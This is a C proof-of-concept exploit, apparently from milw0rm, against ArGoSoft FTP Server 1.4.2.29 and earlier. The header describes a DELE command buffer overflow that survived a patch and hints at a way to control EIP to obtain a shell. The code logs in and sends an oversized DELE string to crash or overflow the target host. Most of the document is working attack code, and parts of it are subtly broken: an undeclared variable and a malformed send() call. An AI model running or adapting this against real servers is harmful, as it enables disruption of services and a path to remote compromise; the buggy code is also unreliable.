/*
ArGoSoft Ftp Server remote overflow exploit
author : c0d3r "kaveh razavi" c0d3rz_team@yahoo.com c0d3r@ihsteam.com
package : ArGoSoft 1.4.2.29 and prior
advisory : packetstormsecurity.nl/0503-advisories/argosoftFTP1428.txt
company address : argosoft.com
the bug was found by a mate and reported to argosoft and they released
another version . I downloaded the patched ver at www.argosoft.com
and started to test the server . I saw that they worked with the vul
but they didnt solve the mentioned DELE overflow . he did a wise job
every long char which would be send to server it will write a nullbyte
in the middle so we cant overwrite eip or other registers normally .
The eip would be overwrite like 00410041 which seems useless . the server
wont crash but it shows that it has beed overflowed . but the program maker
doesnt think there are people who can do wiser job ! well there is a way to
get shell.I just mention it.the code below is just show that the server is vuln.
we can overwrite eip with a nullbyte without sending a null !!!
so think there is a jmp call pop push register is around 004400E1 (for example)
so we can directly jmp to anywhere we want . anyway if u want u can try .
compiled with visual c++ 6 : cl argo.c
greetz : LorD and NT of IHSTeam,Jamie of exploitdev,simorgh-ev,PiShi,redhat
sIiiS and vahid,str0ke (milw0rm),roberto (zone-h),securiteam,and other friends .
Congratulate new iran irc server irc.iraneman.org #iran #ihs
and new site www.ihsteam.com
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define size 290 // enough for overflowing play with it for more result
int main (int argc, char *argv[]){
unsigned char *recvbuf,*user,*pass;
unsigned int rc,addr,sock ;
struct sockaddr_in tcp;
struct hostent *hp;
WSADATA wsaData;
char buffer[size];
unsigned short port;
int i;
if(argc < 5) {
printf("\n-------- ArGoSoft Ftp remote exploit by c0d3r --------\n");
printf("-------- usage : argo.exe host port user pass --------\n");
printf("-------- eg: argo.exe 127.0.0.1 21 c0d3r secret --------\n\n");
exit(-1) ;
}
printf("\n-------- ArGoSoft Ftp remote exploit by c0d3r --------\n\n");
recvbuf = malloc(256);
memset(recvbuf,0,256);
//Creating exploit code
printf("[+] building overflow string");
memset(buffer,0,size);
buffer[0] = 'D';buffer[1] = 'E';buffer[2] = 'L';buffer[3]='E'; buffer[4]= 0x20;
for(i = 5;i != 286;i++){
buffer[i] = 'A';
}
//EO exploit code
user = malloc(256);
memset(user,0,256);
pass = malloc(256);
memset(pass,0,256);
sprintf(user,"user %s\r\n",argv[3]);
sprintf(pass,"pass %s\r\n",argv[4]);
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("[-] WSAStartup failed !\n");
exit(-1);
}
hp = gethostbyname(argv[1]);
if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) ){
printf("[-] unable to resolve %s\n",argv[1]);
exit(-1);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock){
printf("[-] socket() error...\n");
exit(-1);
}
if (hp != NULL)
memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
else
tcp.sin_addr.s_addr = addr;
if (hp)
tcp.sin_family = hp->h_addrtype;
else
tcp.sin_family = AF_INET;
port=atoi(argv[2]);
tcp.sin_port=htons(port);
printf("\n[+] attacking host %s\n" , argv[1]) ;
Sleep(1000);
printf("[+] packet size = %d byte\n" , sizeof(buffer));
rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
if(rc==0)
{
Sleep(1000) ;
printf("[+] connected\n") ;
rc2=recv(sock,recvbuf,256,0);
printf("[+] sending username\n");
send(sock,user,strlen(user),0);
send(sock,'\n',1,0);
printf("[+] sending passworld\n");
Sleep(1000);
send(sock,pass,strlen(pass),0);
send(sock,'\n',1,0);
Sleep(1000);
send(sock,buffer,strlen(buffer),0);
send(sock,'\n',1,0);
printf("[+] string sent successfully check the main window for result\n");
}
else {
printf("[-] ArGo is not listening .... \n");
}
shutdown(sock,1);
closesocket(sock);
}
// milw0rm.com [2005-04-03]
